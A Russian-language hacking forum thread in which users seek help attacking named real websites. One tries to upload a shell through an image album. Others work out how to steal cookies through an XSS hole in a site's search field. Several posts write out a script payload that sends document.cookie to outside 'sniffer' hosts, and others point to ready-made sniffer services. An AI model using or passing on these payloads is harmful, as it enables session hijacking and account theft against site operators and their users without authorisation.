Ваши вопросы по уязвимостям.

Здраствуйте.
Нашол на одном форуме старый альбом.
http://forum.psihov.net.ua/store/album
Пробовал залить шелл через картинку, не получается.
Помогите пж,или подскажыте что можно зделать.

 

Code:

C:\xampp\htdocs\forum\store\album\liders.php

Какой смысл ломать что-то стоящее на домашнем серве под виндой?

 

Я учусь основ хакинга, для меня даже ето сломать большая робота.
Подскажыте что-то пожайлуста.

 

Ребят подскажите, есть такой сайт http://www.in-vest-group.ru/component/search/%252F?ordering=&searchphrase=all
на нем есть уязвимость xss, можно проверить в поле поиск, как дальше куки заполучить? что то не выходит...

 

вместо <script>alert()</script> пишеш <script>
img = new Image(); img.src = "http://ссылка_на_сниф.gif"+document.cookie;
</script>

 

Roston скажи а сниф гиф например какой?

 

<script>
img = new Image(); img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
</script>

так пойдет? я вписываю это в адресную строку, но ошибка со стороны сервера.

 

ага понял тебя, только вот сниффер не писал не когда, мб есть какой нить готовый исходник?

 

А мб есть какой нибудь поисковик в интернете? Или поxуй?

 

Онлайн вариант по ссылке.

Link

Третий результат в гугле по запросу "Сниффер".

Учиться! Учиться! Учиться!

 

или же
kanicq.ru/sniffer

 

Ну что ж, спасибо кто помогал, теперь как я понимаю надо ждать результата в сниффере?

 

как проверить прошла атака или нет?

 

HAXTA4OK куки ведь получаться сразу, или только когда админ сайта зайдет на сайт? просто пока что куков нет...

 

HAXTA4OK, понял, вечером проверю логи сниффера, вдруг что нить получиться))

 

HAXTA4OK проверил ка4к ты сказал, не пришли, блин. можешь посмотреть что я не так сделал?

 

<script>
img = new Image(); img.src = "http://faiki.hut2.ru/s.gif"+document.cookie;
</script>

Вот такой код, в писываю в адрессную строку, в поле поиска появляется img new image();